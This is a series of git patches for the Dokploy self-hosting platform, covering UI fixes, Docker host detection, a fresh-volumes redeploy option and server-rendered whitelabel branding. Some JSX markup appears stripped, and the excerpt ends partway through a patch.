From 43f9f545c684e067e367ad4d07f0307734291ca4 Mon Sep 17 00:00:00 2001
From: Yandi
Date: Sun, 22 Feb 2026 19:56:29 +0700
Subject: [PATCH 001/419] fix: use lazy initializer for useState with function
calls
Calling getTerminalKey() and getDefaultDateRange() directly in useState
re-runs them on every render. Wrap in an arrow function so they execute
only once during component initialization.
---
apps/dokploy/components/dashboard/requests/show-requests.tsx | 2 +-
.../dashboard/settings/web-server/terminal-modal.tsx | 4 +++-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/dashboard/requests/show-requests.tsx b/apps/dokploy/components/dashboard/requests/show-requests.tsx
index cc4f1764a..076ed33cc 100644
--- a/apps/dokploy/components/dashboard/requests/show-requests.tsx
+++ b/apps/dokploy/components/dashboard/requests/show-requests.tsx
@@ -63,7 +63,7 @@ export const ShowRequests = () => {
const [dateRange, setDateRange] = useState<{
from: Date | undefined;
to: Date | undefined;
- }>(getDefaultDateRange());
+ }>(() => getDefaultDateRange());
// Check if logs exist to determine if traefik has been reloaded
// Only fetch when active to minimize network calls
diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
index 2647e1dc0..e90ba51f8 100644
--- a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx
@@ -32,7 +32,9 @@ export const TerminalModal = ({
serverId,
asButton = false,
}: Props) => {
- const [terminalKey, setTerminalKey] = useState(getTerminalKey());
+ const [terminalKey, setTerminalKey] = useState(() =>
+ getTerminalKey(),
+ );
const [isOpen, setIsOpen] = useState(false);
const isLocalServer = serverId === "local";
From eb80f79862b751029de4ba3a4fe655003926850a Mon Sep 17 00:00:00 2001
From: Gabriel Vinhaes
Date: Wed, 1 Apr 2026 16:37:56 -0300
Subject: [PATCH 002/419] fix: preserve server schedule failures through tee
pipeline
---
packages/server/src/utils/schedules/utils.ts | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts
index 64657c9a6..3330acb52 100644
--- a/packages/server/src/utils/schedules/utils.ts
+++ b/packages/server/src/utils/schedules/utils.ts
@@ -159,7 +159,7 @@ export const runCommand = async (scheduleId: string) => {
const { SCHEDULES_PATH } = paths(true);
const fullPath = path.join(SCHEDULES_PATH, appName || "");
const command = `
- set -e
+ set -euo pipefail
echo "Running script" >> ${deployment.logPath};
bash -c ${fullPath}/script.sh 2>&1 | tee -a ${deployment.logPath} || {
echo "❌ Command failed" >> ${deployment.logPath};
From 3e1189776238cd6fd24b75ec531146f210bc67bf Mon Sep 17 00:00:00 2001
From: Rizki Putra
Date: Tue, 7 Apr 2026 08:53:47 +0700
Subject: [PATCH 003/419] fix: return a valid docker host for docker desktop
---
apps/dokploy/server/utils/docker.ts | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/server/utils/docker.ts b/apps/dokploy/server/utils/docker.ts
index 07e4e26e1..35144913a 100644
--- a/apps/dokploy/server/utils/docker.ts
+++ b/apps/dokploy/server/utils/docker.ts
@@ -11,10 +11,20 @@ export const isWSL = async () => {
}
};
+/** Returns if running in Docker Desktop. */
+export const isDockerDesktop = async () => {
+ try {
+ const { stdout } = await execAsync("getent hosts host.docker.internal");
+ return !!stdout.trim();
+ } catch {
+ return false;
+ }
+};
+
/** Returns the Docker host IP address. */
export const getDockerHost = async (): Promise => {
if (process.env.NODE_ENV === "production") {
- if (process.platform === "linux" && !(await isWSL())) {
+ if (process.platform === "linux" && !(await isWSL() || await isDockerDesktop())) {
try {
// Try to get the Docker bridge IP first
const { stdout } = await execAsync(
From e802342f5711aef5c64692cf5517139567a0e142 Mon Sep 17 00:00:00 2001
From: rpoetrap
Date: Tue, 7 Apr 2026 17:04:38 +0700
Subject: [PATCH 004/419] fix sequential awaits
---
apps/dokploy/server/utils/docker.ts | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/server/utils/docker.ts b/apps/dokploy/server/utils/docker.ts
index 35144913a..084315241 100644
--- a/apps/dokploy/server/utils/docker.ts
+++ b/apps/dokploy/server/utils/docker.ts
@@ -24,7 +24,11 @@ export const isDockerDesktop = async () => {
/** Returns the Docker host IP address. */
export const getDockerHost = async (): Promise => {
if (process.env.NODE_ENV === "production") {
- if (process.platform === "linux" && !(await isWSL() || await isDockerDesktop())) {
+ const isLinux = process.platform === "linux"
+ ? (await Promise.all([isWSL(), isDockerDesktop()])).every((v) => !v)
+ : false;
+
+ if (isLinux) {
try {
// Try to get the Docker bridge IP first
const { stdout } = await execAsync(
From f21931da60fcd5e9f7116a6bde1d39e2dc55b5b5 Mon Sep 17 00:00:00 2001
From: Daniel Abramov
Date: Wed, 8 Apr 2026 18:29:29 +0200
Subject: [PATCH 005/419] fix: add unzip to arch server set up
---
packages/server/src/setup/server-setup.ts | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/packages/server/src/setup/server-setup.ts b/packages/server/src/setup/server-setup.ts
index e2d7fc3e5..620a4e62b 100644
--- a/packages/server/src/setup/server-setup.ts
+++ b/packages/server/src/setup/server-setup.ts
@@ -466,7 +466,7 @@ const installUtilities = () => `
case "$OS_TYPE" in
arch)
- $SUDO_CMD pacman -Sy --noconfirm --needed curl wget git git-lfs jq openssl >/dev/null || true
+ $SUDO_CMD pacman -Sy --noconfirm --needed unzip curl wget git git-lfs jq openssl >/dev/null || true
;;
alpine)
$SUDO_CMD sed -i '/^#.*\/community/s/^#//' /etc/apk/repositories
From 24cc4551686bf288d0094e604bcbf6ba4736d588 Mon Sep 17 00:00:00 2001
From: Romain PINSOLLE
Date: Thu, 9 Apr 2026 13:17:09 +0200
Subject: [PATCH 006/419] fix: improve responsive layout for application logs
page
Co-Authored-By: Claude Sonnet 4.6
---
.../components/dashboard/application/logs/show.tsx | 2 +-
.../dashboard/docker/logs/docker-logs-id.tsx | 10 +++++-----
.../components/dashboard/docker/logs/terminal-line.tsx | 6 +++---
3 files changed, 9 insertions(+), 9 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/logs/show.tsx b/apps/dokploy/components/dashboard/application/logs/show.tsx
index 06b257766..37ca6c6fb 100644
--- a/apps/dokploy/components/dashboard/application/logs/show.tsx
+++ b/apps/dokploy/components/dashboard/application/logs/show.tsx
@@ -104,7 +104,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
-
+
Select a container to view logs
diff --git a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
index 59b939008..7e330e20e 100644
--- a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
+++ b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
@@ -337,11 +337,11 @@ export const DockerLogsId: React.FC = ({
/>
-
+
@@ -355,7 +355,7 @@ export const DockerLogsId: React.FC = ({
= ({
@@ -397,7 +397,7 @@ export const DockerLogsId: React.FC = ({
{filteredLogs.length > 0 ? (
filteredLogs.map((filteredLog: LogLine, index: number) => (
diff --git a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx
index bed5c6f5d..79be03566 100644
--- a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx
+++ b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx
@@ -65,7 +65,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) {
const tooltip = (color: string, timestamp: string | null) => {
const square = (
-
+
);
return timestamp ? (
@@ -91,7 +91,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) {
return (
*/}
{tooltip(color, rawTimestamp)}
{!noTimestamp && (
-
+
{formattedTime}
)}
From 36ba9fcb3e8152b067cdc178f3993fdaef793a21 Mon Sep 17 00:00:00 2001
From: Laode Muhammad Al Fatih
Date: Fri, 10 Apr 2026 16:18:37 +0700
Subject: [PATCH 007/419] feat: add "Deploy with Fresh Volumes" button for
Docker Compose projects
Adds a one-click option to redeploy Docker Compose services with clean
volumes, removing the need to manually edit the run command.
When triggered, it runs `docker compose down --volumes` before the
standard deploy build step. The feature is only available for
docker-compose type projects (not swarm stacks).
---
.../dashboard/compose/general/actions.tsx | 51 ++++++++++++++++++-
apps/dokploy/server/api/routers/compose.ts | 2 +
.../server/queues/deployments-queue.ts | 2 +
apps/dokploy/server/queues/queue-types.ts | 1 +
packages/server/src/db/schema/compose.ts | 2 +
packages/server/src/services/compose.ts | 24 +++++++++
6 files changed, 81 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/components/dashboard/compose/general/actions.tsx b/apps/dokploy/components/dashboard/compose/general/actions.tsx
index d04725e26..71c703315 100644
--- a/apps/dokploy/components/dashboard/compose/general/actions.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/actions.tsx
@@ -1,5 +1,5 @@
import * as TooltipPrimitive from "@radix-ui/react-tooltip";
-import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
+import { Ban, CheckCircle2, HardDriveDownload, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -82,6 +82,55 @@ export const ComposeActions = ({ composeId }: Props) => {
)}
+ {canDeploy &&
+ data?.composeType === "docker-compose" && (
+ {
+ await deploy({
+ composeId: composeId,
+ freshVolumes: true,
+ })
+ .then(() => {
+ toast.success(
+ "Compose deployed with fresh volumes",
+ );
+ refetch();
+ router.push(
+ `/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`,
+ );
+ })
+ .catch(() => {
+ toast.error("Error deploying compose");
+ });
+ }}
+ >
+
+
+
+
+
+ Fresh Volumes
+
+
+
+
+
+ Deploy with fresh volumes (removes all persistent
+ data)
+
+
+
+
+
+
+ )}
{canDeploy && (
composeId: job.data.composeId,
titleLog: job.data.titleLog,
descriptionLog: job.data.descriptionLog,
+ freshVolumes: job.data.freshVolumes,
});
} else if (job.data.type === "redeploy") {
await rebuildCompose({
composeId: job.data.composeId,
titleLog: job.data.titleLog,
descriptionLog: job.data.descriptionLog,
+ freshVolumes: job.data.freshVolumes,
});
}
} else if (job.data.applicationType === "application-preview") {
diff --git a/apps/dokploy/server/queues/queue-types.ts b/apps/dokploy/server/queues/queue-types.ts
index 1000725ad..5c469dd9e 100644
--- a/apps/dokploy/server/queues/queue-types.ts
+++ b/apps/dokploy/server/queues/queue-types.ts
@@ -16,6 +16,7 @@ type DeployJob =
type: "deploy" | "redeploy";
applicationType: "compose";
serverId?: string;
+ freshVolumes?: boolean;
}
| {
applicationId: string;
diff --git a/packages/server/src/db/schema/compose.ts b/packages/server/src/db/schema/compose.ts
index 7803cb0a7..0416e5ea3 100644
--- a/packages/server/src/db/schema/compose.ts
+++ b/packages/server/src/db/schema/compose.ts
@@ -198,12 +198,14 @@ export const apiDeployCompose = z.object({
composeId: z.string().min(1),
title: z.string().optional(),
description: z.string().optional(),
+ freshVolumes: z.boolean().optional(),
});
export const apiRedeployCompose = z.object({
composeId: z.string().min(1),
title: z.string().optional(),
description: z.string().optional(),
+ freshVolumes: z.boolean().optional(),
});
export const apiDeleteCompose = z.object({
diff --git a/packages/server/src/services/compose.ts b/packages/server/src/services/compose.ts
index 0cec3418b..d78e63a41 100644
--- a/packages/server/src/services/compose.ts
+++ b/packages/server/src/services/compose.ts
@@ -209,10 +209,12 @@ export const deployCompose = async ({
composeId,
titleLog = "Manual deployment",
descriptionLog = "",
+ freshVolumes = false,
}: {
composeId: string;
titleLog: string;
descriptionLog: string;
+ freshVolumes?: boolean;
}) => {
const compose = await findComposeById(composeId);
@@ -266,6 +268,16 @@ export const deployCompose = async ({
}
}
+ if (freshVolumes && compose.composeType === "docker-compose") {
+ const downCommand = `set -e; docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
+ const downWithLog = `(${downCommand}) >> ${deployment.logPath} 2>&1`;
+ if (compose.serverId) {
+ await execAsyncRemote(compose.serverId, downWithLog);
+ } else {
+ await execAsync(downWithLog);
+ }
+ }
+
command = "set -e;";
command += await getBuildComposeCommand(entity);
commandWithLog = `(${command}) >> ${deployment.logPath} 2>&1`;
@@ -339,10 +351,12 @@ export const rebuildCompose = async ({
composeId,
titleLog = "Rebuild deployment",
descriptionLog = "",
+ freshVolumes = false,
}: {
composeId: string;
titleLog: string;
descriptionLog: string;
+ freshVolumes?: boolean;
}) => {
const compose = await findComposeById(composeId);
@@ -380,6 +394,16 @@ export const rebuildCompose = async ({
}
}
+ if (freshVolumes && compose.composeType === "docker-compose") {
+ const downCommand = `set -e; docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
+ const downWithLog = `(${downCommand}) >> ${deployment.logPath} 2>&1`;
+ if (compose.serverId) {
+ await execAsyncRemote(compose.serverId, downWithLog);
+ } else {
+ await execAsync(downWithLog);
+ }
+ }
+
command = "set -e;";
command += await getBuildComposeCommand(compose);
commandWithLog = `(${command}) >> ${deployment.logPath} 2>&1`;
From c668f6c7bd75cf5ef717193a827538897512e08e Mon Sep 17 00:00:00 2001
From: Laode Muhammad Al Fatih
Date: Fri, 10 Apr 2026 16:26:24 +0700
Subject: [PATCH 008/419] fix: add env -i PATH prefix to fresh volumes down
command
Consistent with the rest of the codebase where every docker compose
invocation uses `env -i PATH="$PATH"` for a clean environment.
---
packages/server/src/services/compose.ts | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/packages/server/src/services/compose.ts b/packages/server/src/services/compose.ts
index d78e63a41..2ee0e0fd6 100644
--- a/packages/server/src/services/compose.ts
+++ b/packages/server/src/services/compose.ts
@@ -269,7 +269,7 @@ export const deployCompose = async ({
}
if (freshVolumes && compose.composeType === "docker-compose") {
- const downCommand = `set -e; docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
+ const downCommand = `set -e; env -i PATH="$PATH" docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
const downWithLog = `(${downCommand}) >> ${deployment.logPath} 2>&1`;
if (compose.serverId) {
await execAsyncRemote(compose.serverId, downWithLog);
@@ -395,7 +395,7 @@ export const rebuildCompose = async ({
}
if (freshVolumes && compose.composeType === "docker-compose") {
- const downCommand = `set -e; docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
+ const downCommand = `set -e; env -i PATH="$PATH" docker compose -p ${compose.appName} down --volumes 2>&1 || true;`;
const downWithLog = `(${downCommand}) >> ${deployment.logPath} 2>&1`;
if (compose.serverId) {
await execAsyncRemote(compose.serverId, downWithLog);
From 9be96d4195d80819b6824c8d77fc22100bf2a2d8 Mon Sep 17 00:00:00 2001
From: Guillaume LECOMTE
Date: Tue, 14 Apr 2026 11:58:21 +0200
Subject: [PATCH 009/419] fix(ui): update favicon dynamically based on app
theme
Add icon-light.svg and icon-dark.svg with fixed fills (black/white)
instead of relying on CSS prefers-color-scheme media query.
Update WhitelabelingProvider to use useTheme() and switch favicon
based on resolvedTheme (dark/light/unknown).
When custom faviconUrl is set, it takes precedence.
Closes #4100.
---
.../proprietary/whitelabeling/whitelabeling-provider.tsx | 9 ++++++++-
apps/dokploy/public/icon-dark.svg | 5 +++++
apps/dokploy/public/icon-light.svg | 5 +++++
3 files changed, 18 insertions(+), 1 deletion(-)
create mode 100644 apps/dokploy/public/icon-dark.svg
create mode 100644 apps/dokploy/public/icon-light.svg
diff --git a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
index a1a327561..23c99a78e 100644
--- a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
+++ b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
@@ -1,21 +1,28 @@
"use client";
import Head from "next/head";
+import { useTheme } from "next-themes";
import { api } from "@/utils/api";
export function WhitelabelingProvider() {
+ const { resolvedTheme } = useTheme();
const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, {
staleTime: 5 * 60 * 1000,
refetchOnWindowFocus: false,
});
+ const faviconHref = config?.faviconUrl
+ ?? (resolvedTheme === "dark" ? "/icon-dark.svg"
+ : resolvedTheme === "light" ? "/icon-light.svg"
+ : "/icon.svg");
+
if (!config) return null;
return (
<>
{config.metaTitle && {config.metaTitle} }
- {config.faviconUrl && }
+
{config.customCss && (
diff --git a/apps/dokploy/public/icon-dark.svg b/apps/dokploy/public/icon-dark.svg
new file mode 100644
index 000000000..5faafdb37
--- /dev/null
+++ b/apps/dokploy/public/icon-dark.svg
@@ -0,0 +1,5 @@
+
+
+
+
+
diff --git a/apps/dokploy/public/icon-light.svg b/apps/dokploy/public/icon-light.svg
new file mode 100644
index 000000000..6121a89dd
--- /dev/null
+++ b/apps/dokploy/public/icon-light.svg
@@ -0,0 +1,5 @@
+
+
+
+
+
From 689ae51ee75db7704f977d8e66b77687d095a867 Mon Sep 17 00:00:00 2001
From: Guillaume LECOMTE
Date: Tue, 14 Apr 2026 12:16:57 +0200
Subject: [PATCH 010/419] fix(ui): remove early return to render theme-aware
favicon immediately
The previous implementation returned null when config was not yet loaded,
preventing the theme-aware favicon from rendering during initial page load.
Now uses optional chaining (config?.metaTitle, config?.customCss) throughout
so the always renders with the correct theme-aware favicon
regardless of config loading state.
Fixes P1 issue from code review.
---
.../proprietary/whitelabeling/whitelabeling-provider.tsx | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
diff --git a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
index 23c99a78e..7fce2a935 100644
--- a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
+++ b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx
@@ -16,16 +16,14 @@ export function WhitelabelingProvider() {
: resolvedTheme === "light" ? "/icon-light.svg"
: "/icon.svg");
- if (!config) return null;
-
return (
<>
- {config.metaTitle && {config.metaTitle} }
+ {config?.metaTitle && {config.metaTitle} }
- {config.customCss && (
+ {config?.customCss && (
-
- Dokploy
-
-
{getLayout( )}
diff --git a/apps/dokploy/pages/_document.tsx b/apps/dokploy/pages/_document.tsx
index 120bb827e..bfe175c80 100644
--- a/apps/dokploy/pages/_document.tsx
+++ b/apps/dokploy/pages/_document.tsx
@@ -1,10 +1,104 @@
-import { Head, Html, Main, NextScript } from "next/document";
+import { getPublicWhitelabelingConfig } from "@dokploy/server";
+import NextDocument, {
+ type DocumentContext,
+ type DocumentInitialProps,
+ Head,
+ Html,
+ Main,
+ NextScript,
+} from "next/document";
-export default function Document() {
+interface WhitelabelingDocumentProps {
+ metaTitle: string | null;
+ faviconHref: string | null;
+ customCss: string | null;
+}
+
+// Cache the resolved favicon (inlined as a data URI) so we don't re-fetch the
+// remote image on every server render. Keyed by the configured favicon URL.
+const FAVICON_CACHE_TTL = 60 * 60 * 1000; // 1 hour
+
+const SETTINGS_CACHE_TTL = 60 * 1000; // 1 minute
+
+declare global {
+ var __SETTINGS_CACHE: {
+ data: {
+ metaTitle: string | null;
+ faviconHref: string | null;
+ customCss: string | null;
+ };
+ expiresAt: number;
+ } | null;
+ var __FAVICON_CACHE: Map;
+}
+
+const faviconCache =
+ globalThis.__FAVICON_CACHE ||
+ new Map();
+globalThis.__FAVICON_CACHE = faviconCache;
+
+/**
+ * Resolve the favicon to an inline data URI so it is present in the initial
+ * HTML and renders without a network round-trip (no flash of the default
+ * favicon). Falls back to the raw URL if the image can't be fetched.
+ */
+async function resolveFaviconHref(
+ faviconUrl: string | null | undefined,
+): Promise {
+ if (!faviconUrl) return null;
+
+ const cached = faviconCache.get(faviconUrl);
+ if (cached && cached.expiresAt > Date.now()) {
+ return cached.href;
+ }
+
+ // Default to the raw URL so the custom favicon still loads if inlining fails.
+ let href = faviconUrl;
+ try {
+ const controller = new AbortController();
+ const timeout = setTimeout(() => controller.abort(), 3000);
+ const response = await fetch(faviconUrl, { signal: controller.signal });
+ clearTimeout(timeout);
+
+ if (response.ok) {
+ const buffer = Buffer.from(await response.arrayBuffer());
+ // Avoid embedding very large images directly in the HTML.
+ if (buffer.byteLength <= 512 * 1024) {
+ const contentType = response.headers.get("content-type") || "image/png";
+ href = `data:${contentType};base64,${buffer.toString("base64")}`;
+ }
+ }
+ } catch {
+ // Keep the raw URL fallback.
+ }
+
+ faviconCache.set(faviconUrl, {
+ href,
+ expiresAt: Date.now() + FAVICON_CACHE_TTL,
+ });
+ return href;
+}
+
+export default function Document({
+ metaTitle,
+ faviconHref,
+ customCss,
+}: WhitelabelingDocumentProps) {
+ const title = metaTitle || "Dokploy";
return (
-
+ {/* Rendered on the server so the correct branding is present on first
+ paint (and for social scrapers), avoiding a flash of / fallback to
+ the default Dokploy branding. */}
+ {title}
+
+ {customCss && (
+
+ )}
@@ -13,3 +107,51 @@ export default function Document() {
);
}
+
+Document.getInitialProps = async (
+ ctx: DocumentContext,
+): Promise => {
+ const initialProps = await NextDocument.getInitialProps(ctx);
+
+ let metaTitle: string | null = null;
+ let faviconHref: string | null = null;
+ let customCss: string | null = null;
+
+ if (
+ globalThis.__SETTINGS_CACHE &&
+ globalThis.__SETTINGS_CACHE.expiresAt > Date.now() &&
+ globalThis.__SETTINGS_CACHE.data
+ ) {
+ return {
+ ...initialProps,
+ ...globalThis.__SETTINGS_CACHE.data,
+ };
+ }
+
+ try {
+ const config = await getPublicWhitelabelingConfig();
+ if (config) {
+ metaTitle = config.metaTitle;
+ customCss = config.customCss;
+ faviconHref = await resolveFaviconHref(config.faviconUrl);
+ }
+ } catch {
+ // Fall back to defaults if settings can't be read (e.g. DB not ready)
+ }
+
+ globalThis.__SETTINGS_CACHE = {
+ data: {
+ metaTitle,
+ faviconHref,
+ customCss,
+ },
+ expiresAt: Date.now() + SETTINGS_CACHE_TTL,
+ };
+
+ return {
+ ...initialProps,
+ metaTitle,
+ faviconHref,
+ customCss,
+ };
+};
diff --git a/apps/dokploy/pages/index.tsx b/apps/dokploy/pages/index.tsx
index 0be614d3c..bf3519a6f 100644
--- a/apps/dokploy/pages/index.tsx
+++ b/apps/dokploy/pages/index.tsx
@@ -5,6 +5,7 @@ import {
} from "@dokploy/server";
import { validateRequest } from "@dokploy/server/lib/auth";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { createServerSideHelpers } from "@trpc/react-query/server";
import { REGEXP_ONLY_DIGITS } from "input-otp";
import type { GetServerSidePropsContext } from "next";
import Link from "next/link";
@@ -12,6 +13,7 @@ import { useRouter } from "next/router";
import { type ReactElement, useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
+import superjson from "superjson";
import { z } from "zod";
import { OnboardingLayout } from "@/components/layouts/onboarding-layout";
import { SignInWithGithub } from "@/components/proprietary/auth/sign-in-with-github";
@@ -45,6 +47,7 @@ import {
} from "@/components/ui/input-otp";
import { Label } from "@/components/ui/label";
import { authClient } from "@/lib/auth-client";
+import { appRouter } from "@/server/api/root";
import { api } from "@/utils/api";
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
@@ -107,7 +110,6 @@ export default function Home({ IS_CLOUD, enforceSSO }: Props) {
return;
}
- // @ts-ignore
if (data?.twoFactorRedirect as boolean) {
setTwoFactorCode("");
setIsTwoFactor(true);
@@ -430,6 +432,21 @@ Home.getLayout = (page: ReactElement) => {
return {page} ;
};
export async function getServerSideProps(context: GetServerSidePropsContext) {
+ const helpers = createServerSideHelpers({
+ router: appRouter,
+ ctx: {
+ req: context.req as any,
+ res: context.res as any,
+ db: null as any,
+ session: null as any,
+ user: null as any,
+ },
+ transformer: superjson,
+ });
+ // Prefetch the public branding so the login/onboarding logo and app name
+ // render correctly on the server (no flash of default branding).
+ await helpers.whitelabeling.getPublic.prefetch();
+
if (IS_CLOUD) {
try {
const { user } = await validateRequest(context.req);
@@ -445,6 +462,7 @@ export async function getServerSideProps(context: GetServerSidePropsContext) {
return {
props: {
+ trpcState: helpers.dehydrate(),
IS_CLOUD: IS_CLOUD,
enforceSSO: false,
},
@@ -476,6 +494,7 @@ export async function getServerSideProps(context: GetServerSidePropsContext) {
return {
props: {
+ trpcState: helpers.dehydrate(),
hasAdmin,
enforceSSO: webServerSettings?.enforceSSO ?? false,
},
diff --git a/apps/dokploy/pages/invitation.tsx b/apps/dokploy/pages/invitation.tsx
index 1cbd773b7..b2ec79de5 100644
--- a/apps/dokploy/pages/invitation.tsx
+++ b/apps/dokploy/pages/invitation.tsx
@@ -1,11 +1,13 @@
import { getUserByToken, IS_CLOUD } from "@dokploy/server";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { createServerSideHelpers } from "@trpc/react-query/server";
import type { GetServerSidePropsContext } from "next";
import Link from "next/link";
import { useRouter } from "next/router";
import { type ReactElement, useEffect } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
+import superjson from "superjson";
import { z } from "zod";
import { OnboardingLayout } from "@/components/layouts/onboarding-layout";
import { AlertBlock } from "@/components/shared/alert-block";
@@ -22,6 +24,7 @@ import {
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { authClient } from "@/lib/auth-client";
+import { appRouter } from "@/server/api/root";
import { api } from "@/utils/api";
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
@@ -326,6 +329,21 @@ Invitation.getLayout = (page: ReactElement) => {
return {page} ;
};
export async function getServerSideProps(ctx: GetServerSidePropsContext) {
+ const helpers = createServerSideHelpers({
+ router: appRouter,
+ ctx: {
+ req: ctx.req as any,
+ res: ctx.res as any,
+ db: null as any,
+ session: null as any,
+ user: null as any,
+ },
+ transformer: superjson,
+ });
+ // Prefetch the public branding so the invitation logo and app name render
+ // correctly on the server (no flash of default branding).
+ await helpers.whitelabeling.getPublic.prefetch();
+
const { query } = ctx;
const token = query.token;
@@ -354,6 +372,7 @@ export async function getServerSideProps(ctx: GetServerSidePropsContext) {
if (invitation.userAlreadyExists) {
return {
props: {
+ trpcState: helpers.dehydrate(),
isCloud: IS_CLOUD,
token: token,
invitation: invitation,
@@ -373,6 +392,7 @@ export async function getServerSideProps(ctx: GetServerSidePropsContext) {
return {
props: {
+ trpcState: helpers.dehydrate(),
isCloud: IS_CLOUD,
token: token,
invitation: invitation,
diff --git a/apps/dokploy/pages/register.tsx b/apps/dokploy/pages/register.tsx
index f18747773..ad8f05064 100644
--- a/apps/dokploy/pages/register.tsx
+++ b/apps/dokploy/pages/register.tsx
@@ -1,5 +1,6 @@
import { IS_CLOUD, isAdminPresent, validateRequest } from "@dokploy/server";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { createServerSideHelpers } from "@trpc/react-query/server";
import { AlertTriangle } from "lucide-react";
import type { GetServerSidePropsContext } from "next";
import Link from "next/link";
@@ -7,6 +8,7 @@ import { useRouter } from "next/router";
import { type ReactElement, useEffect, useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
+import superjson from "superjson";
import { z } from "zod";
import { OnboardingLayout } from "@/components/layouts/onboarding-layout";
import { SignInWithGithub } from "@/components/proprietary/auth/sign-in-with-github";
@@ -25,6 +27,7 @@ import {
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { authClient } from "@/lib/auth-client";
+import { appRouter } from "@/server/api/root";
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
const registerSchema = z
@@ -297,6 +300,21 @@ Register.getLayout = (page: ReactElement) => {
return {page} ;
};
export async function getServerSideProps(context: GetServerSidePropsContext) {
+ const helpers = createServerSideHelpers({
+ router: appRouter,
+ ctx: {
+ req: context.req as any,
+ res: context.res as any,
+ db: null as any,
+ session: null as any,
+ user: null as any,
+ },
+ transformer: superjson,
+ });
+ // Prefetch the public branding so the onboarding logo and app name render
+ // correctly on the server (no flash of default branding).
+ await helpers.whitelabeling.getPublic.prefetch();
+
if (IS_CLOUD) {
const { user } = await validateRequest(context.req);
@@ -310,6 +328,7 @@ export async function getServerSideProps(context: GetServerSidePropsContext) {
}
return {
props: {
+ trpcState: helpers.dehydrate(),
isCloud: true,
},
};
@@ -326,6 +345,7 @@ export async function getServerSideProps(context: GetServerSidePropsContext) {
}
return {
props: {
+ trpcState: helpers.dehydrate(),
isCloud: false,
},
};
diff --git a/apps/dokploy/pages/send-reset-password.tsx b/apps/dokploy/pages/send-reset-password.tsx
index 7d3c47d51..5fbedb5ec 100644
--- a/apps/dokploy/pages/send-reset-password.tsx
+++ b/apps/dokploy/pages/send-reset-password.tsx
@@ -1,11 +1,13 @@
import { IS_CLOUD } from "@dokploy/server";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { createServerSideHelpers } from "@trpc/react-query/server";
import type { GetServerSidePropsContext } from "next";
import Link from "next/link";
import { useRouter } from "next/router";
import { type ReactElement, useEffect, useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
+import superjson from "superjson";
import { z } from "zod";
import { OnboardingLayout } from "@/components/layouts/onboarding-layout";
import { AlertBlock } from "@/components/shared/alert-block";
@@ -22,6 +24,7 @@ import {
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { authClient } from "@/lib/auth-client";
+import { appRouter } from "@/server/api/root";
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
const loginSchema = z.object({
@@ -165,7 +168,7 @@ export default function Home() {
Home.getLayout = (page: ReactElement) => {
return {page} ;
};
